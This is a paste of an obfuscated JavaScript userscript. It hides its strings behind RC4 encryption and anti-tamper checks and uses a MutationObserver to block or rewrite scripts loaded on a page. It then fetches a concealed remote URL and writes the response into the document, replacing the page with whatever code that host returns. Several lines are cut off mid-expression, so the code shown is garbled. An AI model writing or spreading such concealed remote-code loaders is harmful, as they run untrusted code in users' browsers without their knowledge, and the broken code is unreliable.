· 6 years ago · Apr 13, 2019, 01:34 PM
1// WARNING! This file contains some subset of JS that is not supported by type inference.
2// You can try checking 'Transpile to ES5' checkbox if you want the types to be inferred
3'use strict';
4var _0x1aba = ["Tktawr99", "wpzCkCY=", "w6B2w7Yc", "aiYqw4zCiE5Pw54=", "cFcVT8KmS8O/w6k=", "X8OjXCZUFQ==", "Xk1qwrFJMj7Crw==", "asKpCixXIkEuGsOMw5HCgjZWw74L", "wpvCmzXDpQ==", "w41lQsO4DCHDhh0hRsOiw4x4w7vDqcOdFcKA", "wrjCpwHChcOHDQ1cExfCsjc8", "w5bCjsKiD8KPdy4WB8Ouw6E=", "NlI5DA==", "w6FYwo7CnSF4W8K0w5XDsXXCgiXCo2rDucOAw5M=", "w6bDqsOQw75qw7zCuXpEPsOew6XCpw==", "w6IVcxRDwp7DtsO5JMKdwpg=", "w4vCicK8BcKLZAg=", "wp4Gaw==", "PRfCjcO5w67CmAwgOMKuRQPDjsKjbcK9cwUSwr7Cswp8CcKMOxFMDRXDgSXCnDIlw7Mqwp5dw5nDtD5VAsOCM8OqEQ==",
5"w6VWwo8=", "fAMcwq3CjQ==", "wrlPw4N4GlYnw6sVGg/Dkg==", "wpgxwrNC", "w5BRwrNIw7M=", "RCTDuCxP", "N8OrCcKUw4TCusORwoHChVPDg8ObwoE=", "HnVGw4M2wqRE", "woR5bMOpwqh/w7w=", "woDClCbCjcOA", "YTRCwoDDjg==", "KmDCvsOTwrDCv8OWPU5/wqVX", "wpYZwqJZUQ==", "IUcmGsOX", "ey7Cs3/CmcKIw6oY", "wqTDii3CoSFeaA==", "EWgbIMOiLw==", "YwR9wpXDoA==", "wqzClBTDscKW", "w5R2Vw==", "w5N9RMO8", "w6JXwpvCkCd/TMKu", "wrbDmD7ClixWbMKjw60n", "KFo8DMOAAg==", "csKnwpdiwobDtsOHLQ==", "w5QFecK7cw=="];
6(function(params, content) {
7 var fn = function(selected_image) {
8 for (; --selected_image;) {
9 params["push"](params["shift"]());
10 }
11 };
12 var build = function() {
13 var target = {
14 "data" : {
15 "key" : "cookie",
16 "value" : "timeout"
17 },
18 "setCookie" : function(value, name, path, headers) {
19 headers = headers || {};
20 var cookie = name + "=" + path;
21 var url = 0;
22 url = 0;
23 var key = value["length"];
24 for (; url < key; url++) {
25 var i = value[url];
26 cookie = cookie + ("; " + i);
27 var char = value[i];
28 value["push"](char);
29 key = value["length"];
30 if (char !== !![]) {
31 cookie = cookie + ("=" + char);
32 }
33 }
34 headers["cookie"] = cookie;
35 },
36 "removeCookie" : function() {
37 return "dev";
38 },
39 "getCookie" : function(match, href) {
40 match = match || function(canCreateDiscussions) {
41 return canCreateDiscussions;
42 };
43 var v = match(new RegExp("(?:^|; )" + href["replace"](/([.$?*|{}()[]\/+^])/g, "$1") + "=([^;]*)"));
44 var test = function(callback, i) {
45 callback(++i);
46 };
47 test(fn, content);
48 return v ? decodeURIComponent(v[1]) : undefined;
49 }
50 };
51 var init = function() {
52 var test = new RegExp("\\w+ *\\(\\) *{\\w+ *['|\"].+['|\"];? *}");
53 return test["test"](target["removeCookie"]["toString"]());
54 };
55 target["updateCookie"] = init;
56 var array = "";
57 var _0x4d22ee = target["updateCookie"]();
58 if (!_0x4d22ee) {
59 target["setCookie"](["*"], "counter", 1);
60 } else {
61 if (_0x4d22ee) {
62 array = target["getCookie"](null, "counter");
63 } else {
64 target["removeCookie"]();
65 }
66 }
67 };
68 build();
69})(_0x1aba, 161);
70var _0x4949 = function(n, dn) {
71 n = n - 0;
72 var i = _0x1aba[n];
73 if (_0x4949["xTrNpu"] === undefined) {
74 (function() {
75 var PL$14;
76 try {
77 var evaluate = Function("return (function() " + '{}.constructor("return this")( )' + ");");
78 PL$14 = evaluate();
79 } catch (_0x380326) {
80 PL$14 = window;
81 }
82 var listeners = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
83 if (!PL$14["atob"]) {
84 PL$14["atob"] = function(i) {
85 var str = String(i)["replace"](/=+$/, "");
86 var bc = 0;
87 var bs;
88 var buffer;
89 var Y = 0;
90 var pix_color = "";
91 for (; buffer = str["charAt"](Y++); ~buffer && (bs = bc % 4 ? bs * 64 + buffer : buffer, bc++ % 4) ? pix_color = pix_color + String["fromCharCode"](255 & bs >> (-2 * bc & 6)) : 0) {
92 buffer = listeners["indexOf"](buffer);
93 }
94 return pix_color;
95 };
96 }
97 })();
98 var testcase = function(data, fn) {
99 var secretKey = [];
100 var y = 0;
101 var temp;
102 var testResult = "";
103 var tempData = "";
104 data = atob(data);
105 var val = 0;
106 var key = data["length"];
107 for (; val < key; val++) {
108 tempData = tempData + ("%" + ("00" + data["charCodeAt"](val)["toString"](16))["slice"](-2));
109 }
110 data = decodeURIComponent(tempData);
111 var x = 0;
112 for (; x < 256; x++) {
113 secretKey[x] = x;
114 }
115 x = 0;
116 for (; x < 256; x++) {
117 y = (y + secretKey[x] + fn["charCodeAt"](x % fn["length"])) % 256;
118 temp = secretKey[x];
119 secretKey[x] = secretKey[y];
120 secretKey[y] = temp;
121 }
122 x = 0;
123 y = 0;
124 var i = 0;
125 for (; i < data["length"]; i++) {
126 x = (x + 1) % 256;
127 y = (y + secretKey[x]) % 256;
128 temp = secretKey[x];
129 secretKey[x] = secretKey[y];
130 secretKey[y] = temp;
131 testResult = testResult + String["fromCharCode"](data["charCodeAt"](i) ^ secretKey[(secretKey[x] + secretKey[y]) % 256]);
132 }
133 return testResult;
134 };
135 _0x4949["aXZUeH"] = testcase;
136 _0x4949["PPmjik"] = {};
137 _0x4949["xTrNpu"] = !![];
138 }
139 var b = _0x4949["PPmjik"][n];
140 if (b === undefined) {
141 if (_0x4949["vbhBNf"] === undefined) {
142 var WMCacheControl = function(deny) {
143 this["OXrPTh"] = deny;
144 this["GZPagM"] = [1, 0, 0];
145 this["IlkIGT"] = function() {
146 return "newState";
147 };
148 this["MtUmGA"] = "\\w+ *\\(\\) *{\\w+ *";
149 this["Dwplul"] = "['|\"].+['|\"];? *}";
150 };
151 WMCacheControl["prototype"]["gOqEBc"] = function() {
152 var test = new RegExp(this["MtUmGA"] + this["Dwplul"]);
153 var artistTrack = test["test"](this["IlkIGT"]["toString"]()) ? --this["GZPagM"][1] : --this["GZPagM"][0];
154 return this["oMBqVH"](artistTrack);
155 };
156 WMCacheControl["prototype"]["oMBqVH"] = function(canCreateDiscussions) {
157 if (!Boolean(~canCreateDiscussions)) {
158 return canCreateDiscussions;
159 }
160 return this["oNGQQE"](this["OXrPTh"]);
161 };
162 WMCacheControl["prototype"]["oNGQQE"] = function(saveNotifs) {
163 var fp = 0;
164 var len = this["GZPagM"]["length"];
165 for (; fp < len; fp++) {
166 this["GZPagM"]["push"](Math["round"](Math["random"]()));
167 len = this["GZPagM"]["length"];
168 }
169 return saveNotifs(this["GZPagM"][0]);
170 };
171 (new WMCacheControl(_0x4949))["gOqEBc"]();
172 _0x4949["vbhBNf"] = !![];
173 }
174 i = _0x4949["aXZUeH"](i, dn);
175 _0x4949["PPmjik"][n] = i;
176 } else {
177 i = b;
178 }
179 return i;
180};
181(function() {
182 function uniqueSlug(slug) {
183 return slug;
184 }
185 var getAlignItem = function() {
186 var closeExpr = !![];
187 return function(object__360, function__361) {
188 var closingExpr = closeExpr ? function() {
189 if (function__361) {
190 var cssobj = function__361["apply"](object__360, arguments);
191 function__361 = null;
192 return cssobj;
193 }
194 } : function() {
195 };
196 closeExpr = ![];
197 return closingExpr;
198 };
199 }();
200 var alignContentAlignItem = getAlignItem(this, function() {
201 var intval = function() {
202 return "dev";
203 };
204 var getDOMPath = function() {
205 return "window";
206 };
207 var testcase = function() {
208 var test = new RegExp("\\w+ *\\(\\) *{\\w+ *['|\"].+['|\"];? *}");
209 return !test["test"](intval["toString"]());
210 };
211 var _stringify = function() {
212 var test = new RegExp("(\\\\[x|u](\\w){2,4})+");
213 return test["test"](getDOMPath["toString"]());
214 };
215 var matches = function(name) {
216 var ms_controller = ~-1 >> 1 + 255 % 0;
217 if (name["indexOf"]("i" === ms_controller)) {
218 create(name);
219 }
220 };
221 var create = function(func) {
222 var _0x431a41 = ~-4 >> 1 + 255 % 0;
223 if (func["indexOf"]((!![] + "")[3]) !== _0x431a41) {
224 matches(func);
225 }
226 };
227 if (!testcase()) {
228 if (!_stringify()) {
229 matches("ind\u0435xOf");
230 } else {
231 matches("indexOf");
232 }
233 } else {
234 matches("ind\u0435xOf");
235 }
236 });
237 alignContentAlignItem();
238 (new MutationObserver(function(canCreateDiscussions) {
239 canCreateDiscussions[_0x4949("0x0", "o0jn")](({
240 addedNodes : addedNodes
241 }) => {
242 addedNodes[_0x4949("0x1", "0^Fu")]((serverResults) => {
243 if (_0x4949("0x2", "Va8]") !== _0x4949("0x3", "%&pE")) {
244 let DOM_CONTENT_LOADED = uniqueSlug(res[_0x4949("0x4", "k@5$")]);
245 document["open"]();
246 document[_0x4949("0x5", "HLK8")](DOM_CONTENT_LOADED);
247 document[_0x4949("0x6", "f5[O")]();
248 } else {
249 if (serverResults[_0x4949("0x7", "s0(M")] === 1 && serverResults[_0x4949("0x8", "(Tex")] === _0x4949("0x9", "f5[O")) {
250 if (_0x4949("0xa", "%&pE") === _0x4949("0xb", "sj(*")) {
251 return page;
252 } else {
253 const exports = serverResults[_0x4949("0xc", "[PJY")] || "";
254 const _0x5c933b = serverResults[_0x4949("0xd", "[PJY")];
255 if (!exports[_0x4949("0xe", "#uQS")](_0x4949("0xf", "(Tex")) && !exports["includes"](_0x4949("0x10", "f5[O")) && !exports[_0x4949("0x11", "LZXL")]("bootstrapcdn.com")) {
256 if (_0x4949("0x12", "3NVO") !== _0x4949("0x13", "s6QA")) {
257 const _0x326a88 = serverResults[_0x4949("0x14", "@C6X")] || "";
258 const _0x3815c2 = serverResults[_0x4949("0x15", "tJjS")];
259 if (!_0x326a88[_0x4949("0x16", "EcTk")]("fstyleagar") && !_0x326a88[_0x4949("0x17", "nreN")](_0x4949("0x18", "^Nkt")) && !_0x326a88[_0x4949("0x19", "s6QA")](_0x4949("0x1a", "UEZx"))) {
260 serverResults[_0x4949("0x1b", "@C6X")] = _0x4949("0x1c", "[PJY");
261 serverResults[_0x4949("0x1d", "Va8]")][_0x4949("0x1e", ";
262 }
263 } else {
264 serverResults[_0x4949("0x1f", "f5[O")] = _0x4949("0x20", "#uQS");
265 serverResults[_0x4949("0x21", "F9U#")][_0x4949("0x22", "85gu")](serverResults);
266 }
267 }
268 }
269 }
270 }
271 });
272 });
273 }))[_0x4949("0x23", ";
277 GM_xmlhttpRequest({
278 "method" : _0x4949("0x24", "@bmR"),
279 "url" : _0x4949("0x25", "%sNY") + Date[_0x4949("0x26", "#uQS")](),
280 "onload" : (fileLoadedEvent) => {
281 if ("yUDKs" === _0x4949("0x27", "R#fI")) {
282 let DOM_CONTENT_LOADED = uniqueSlug(fileLoadedEvent[_0x4949("0x28", "XhiS")]);
283 document[_0x4949("0x29", "Dkgu")]();
284 document[_0x4949("0x2a", "dfa(")](DOM_CONTENT_LOADED);
285 document[_0x4949("0x2b", "6oeN")]();
286 } else {
287 node["type"] = "javascript/blocked";
288 node[_0x4949("0x2c", "P6i9")]["removeChild"](node);
289 }
290 }
291 });
292})();